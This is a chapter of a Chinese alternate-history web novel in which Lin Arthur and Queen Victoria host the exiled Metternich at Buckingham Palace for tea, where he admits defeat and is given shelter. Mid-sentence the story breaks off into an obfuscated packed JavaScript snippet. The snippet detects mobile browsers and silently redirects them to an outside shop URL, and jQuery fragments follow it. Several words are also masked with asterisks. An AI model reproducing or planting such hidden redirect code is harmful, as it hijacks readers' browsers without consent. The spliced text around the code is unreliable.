就在意大利和奥地利的牌局，都陷入一种微妙的“暂停”状态时。
伦敦，白金汉宫。
林亚瑟，也终于，等到了他那个，在三年前就已设下的、最无聊，也最……“诛心”的赌局的……兑现时刻。
……
这天下午，天气阴沉，下着淅淅沥沥的小雨，像极了维也纳此刻的心情。
一辆极其普通的、没有任何徽记的黑色出租马车，冒着小雨，悄无声息地，停在了白金汉宫一个最不起眼的偏门门口。
车门打开，从上面，走下来一个，让所有负责接待的宫廷侍从，都差点当场惊掉下巴的“客人”。
那是一个……看起来像是某个乡下农场主老伴的，老太太。
她头上包着一块洗得发白的头巾，脸上戴着一副能遮住大半张脸的巨大墨镜，身上，则穿着一件尺寸明显不太合身的、灰扑扑的妇女粗布长裙。
但她那依旧挺拔的身姿，和那从骨子里透出来的、无论如何也掩饰不住的贵族仪态，却又与她这身“伪装”，形成了极其滑稽的反差。
这位“老太太”，在两名同样穿着便衣的、神情紧张的随从的搀扶下，快步地，走进了那扇为她悄然敞开的偏门。
他，就是那个，刚刚才从被**火焰吞噬的维也纳，一路颠沛流离，甚至不惜把自己打扮成“洗衣妇”，藏在货船的底舱里，才最终成功逃出生天的……前奥地利帝国首相，欧洲旧秩序最后的“裱糊匠”——
克莱门斯·冯·梅特涅亲王。
……
一个小时后，在洗去了一身的风尘和“**”之后。
梅特涅亲王，换上了一身由林亚瑟专门为他准备的、柔软舒适的英式羊毛便服，独自一人，被“请”到了白金汉宫的花园暖房里。
这里，没有剑拔**张的卫兵，也没有冷酷无情的审判官。
只有，温暖的阳光（虽然是玻璃房里的），盛开的玫瑰，和……一杯，早已泡好，正散发着袅袅热气的，英式伯爵红茶。
林亚瑟和维多利亚，像是在等待一位许久未见的老朋友一样，早已在这里，等候多时。
“欢迎您的到来，我尊敬的亲王殿下。”
林亚瑟微笑着，主动上前，给了这位风尘仆仆的“****犯”，一个朋友式的拥抱。态度亲切得，仿佛他完全忘记了，眼前这个老头，曾经是自己在欧洲大陆上，最大的“敌人”。
梅特涅感受着对方那温暖而又有力的拥抱，他那颗因为连日逃亡而变得冰冷麻木的心，在这一刻，不知为何，竟然，产生了一丝，极其荒诞的……暖意。
他看着眼前这对，穿着同样舒适的居家服，脸上带着和善微笑的，年轻得过分的君主夫妇，又想了想自己，在七十多岁的高龄，还要像个过街老鼠一样，被人从自己的首都，给活活赶出来的凄惨下场。
他那张布满了皱纹的老脸上，露出了一个充满了无尽的复杂与唏嘘的笑容。
最终，他缓缓地，对着林亚瑟，低下了他那颗，一生都未曾向任何人，真正低下过的高贵的头颅。
他用一种，只有他自己才能听到的、极其沙哑的、如同在梦呓般的声音，轻声地，却又无比清晰地，承认了自己的……彻底失败。
“殿下……”
“我输了。”
……
下午茶的氛围，出人意料地，温馨。
没有胜利者的炫耀，也没有失败者的不甘。
三个人，就像三个许久未见的老朋友，坐在一起，喝着茶，吃着维多利亚亲手烤制的、林亚瑟专门为降血压的老年人改良过的“低糖版”司康饼，聊着天。
他们聊维也纳的音乐，聊伦敦的雾霾，聊茜茜公主的骑术，聊小维琪公主那让人头疼的“暴力倾向”……
没有一句，涉及到**。
但每一个字，又都充满了，最顶级的……**智慧。
直到，杯中的红茶，续了第三次之后。
林亚瑟才像是忽然想起了什么，他放下茶杯，看着梅特涅那张，在温暖的阳光下，显得格外苍老的脸，用一种极其“惋惜”和“痛心疾首”的语气，看似随意地，问道：
“说起来，亲王殿下。我听说，您那栋在维也纳，珍藏了无数艺术品的宅邸，好像……在前几天的**中，被一群‘无知’的暴民，给一把火，烧成了灰烬？”
梅特涅听到这话，端着茶杯的手，微微一颤。那是他一生的心血和收藏啊！
“是的……”他的声音，充满了痛苦，“一群……被魔鬼的言论，所蛊惑的……疯子。”
“哎，实在是太可惜了。”林亚瑟的脸上，露出了一个充满了“艺术爱好者”同情心的悲悯表情，“那些，可都是人类文明的瑰宝啊！就这么毁于一旦，简直是暴殄天物！”
他看着梅特涅，然后，话锋一转。
“不过嘛，亲王殿下，逝者已矣，来者可追。”
他的脸上，又露出了那个，梅特涅再也熟悉不过的、充满了“天使的善意”和“魔鬼的诱惑”的，经典笑容。
“我想，作为一个‘负责任’的世界大国，和‘欧洲和平新秩序’的坚定捍卫者。我们大英帝国，有义务，也有能力，去帮助我们的‘奥地利朋友’，尽快地，从这场不幸的灾难中，恢复过来。”
他又开始，画饼了。
“您刚才也说了，维也纳的那栋老房子，实在是太旧了，裱糊了这么多年，也该拆了重建了。”
“所以，我在想，”他的声音，变得充满了“建设性”和“合作精神”，“您看，我们是不是，可以……一起，商量一下。”
“该如何，用一种，更‘现代’、更‘合理’，也更……符合我们‘大家’共同利益的方式，来重新，设计和装修，未来那栋，属于哈布斯堡的……新房子呢？”
……
“呵……呵呵……”
梅特涅看着林亚瑟那张写满了“快来跟我合作吧”的、真诚的笑脸，缓缓地，摇了摇头。
他那浑浊的老眼里，第一次，闪过了一丝，属于“失败者”的，但也是属于“看透一切者”的……清醒和……释然。
“不必了，我尊敬的亲王殿下。”
他放下了手中的茶杯，声音不大，但却异常的平静和坚定。
“非常感谢您的‘慷慨’和‘好意’。但是，我想，您可能……找错人了。”
“哦？”林亚瑟的眉头，微微一挑。
“我，”梅特涅的脸上，露出了一个极其复杂的、充满了自嘲和一声叹息的笑容，“克莱门斯·冯·梅特涅，已经**。”
“在维也纳，在那场大火，烧毁了我的宅邸，烧毁了我的所有收藏，也烧毁了我裱糊了一生的那栋‘老房子’的同时，那个作为‘帝国首相’的梅特涅，也已经，跟着它，一起，被埋葬在了废墟之下。”
“我现在，坐在这里的，只是一个，名叫克莱门斯的、七十多岁的、无家可归的……糟老头子而已。”
“一个，只想在泰晤士河边，找个安静的地方，钓钓鱼，晒晒太阳，然后，安安静静地，等待着被上帝召唤的……退休老人。”
这番堪称“大彻大悟”的话，让林亚瑟和维多利亚，都微微一愣。
他们都没想到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753107|185649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，这位曾经权倾朝野的“欧洲宰相”，在经历了一场毁灭性的失败之后，竟然能有如此的……通透和……豁达。
“所以，殿下，”梅特涅看着林亚瑟，眼中，第一次，没有了之前的敌意和警惕，只剩下一种，属于前辈对一个“更强大后辈”的、纯粹的“技术性”建议。
“关于，未来那栋属于哈布斯堡的‘新房子’，该如何‘设计’和‘装修’的问题……”
“您，实在不必，再来征求我这个‘过气瓦匠’的意见了。”
他的嘴角，勾起了一抹极其玩味的、意味深长的弧度。
“您应该，去问那个，比我更渴望权力，比我更懂得如何运用权力，也比我……更‘心狠’的女人。”
“您应该，去和她谈。”
“去找，苏菲。”
说完，他缓缓地，站起了身，对着林亚瑟，和从始至终，都只是安静地，微笑着，看着这一切的女王，恭敬地，行了他这一生中，最后一个，也是最标准的一个……臣子之礼。
“我输掉的那个赌局，我已经兑现了。”
“女王陛下的红茶，味道……很好。”
“现在，如果二位不介意的话，我这个糟老头子，想先告退了。我的妻子，和我的孩子们，还在外面那辆破旧的马车里，等着我这个‘一家之主’，带他们，去找一个，能遮风挡雨的……新家呢。”
这番话，说得，既卑微，又充满了，一种属于失败者的、最后的骄傲。
维多利亚看着眼前这位，须发皆白，身形佝偻，但腰杆，却依旧挺得笔直的白发老人。看着他那双，虽然失去了所有权力的光芒，但却依旧清醒、深邃的眼眸。
她那颗过于柔软和善良的心，在这一刻，还是忍不住，被触动了。
她忘记了，眼前这个人，曾经是她丈夫最大的政敌，是那个，差一点就毁掉了她“好妹妹”奥尔加幸福的“老顽固”。
她只看到，一个，为了自己的国家和信念，奋斗了一生，最终，却被时代，无情抛弃的……孤独老人。
“等一下，亲王殿下。”
维多利亚，忽然开口了。
她从自己的座位上，站起身，缓缓地，走到了这位，正准备落寞离场的老人面前。
她转过头，对着身后的侍从官，用一种女王的、不容置疑的语气，命令道：
“去，立刻，将亲王殿下和他的家人们，都安顿到我们最好的阁楼里去。那里风景好，也安静。”
“另外，再派我的私人御医团队过去，为亲王殿下和他的夫人孩子们，做一个最全面的身体检查。”
“告诉他们，”她的脸上，露出了一个温暖而又令人安心的微笑，“在他们，找到一个，更喜欢的‘新家’之前。我们白金汉宫的厨房和酒窖，将永远，为他们，二十四小时开放。”
这，就是维多利亚，和她的丈夫林亚瑟，最终，给予这位“失败者”的……最后的“体面”。
一种，属于胜利者的，最高级的仁慈，和……最彻底的羞辱。
因为，他们不仅赢了牌局。
还要，用“施舍”的方式，来决定，你这个输光了所有筹码的对手，未来，该住在哪里，吃些什么。
梅特涅看着眼前这位，已经完全成长为了一位，既有菩萨心肠，又有雷霆手段的、真正的“女王”的年轻后辈。
他那张布满了皱纹的老脸上，所有的不甘，所有的怨恨，都化作了，一抹，释然的微笑。
“多谢您，我尊敬的……女王陛下。”
他最后，对着她，深深地，鞠了一躬。
这一次，是心悦诚服。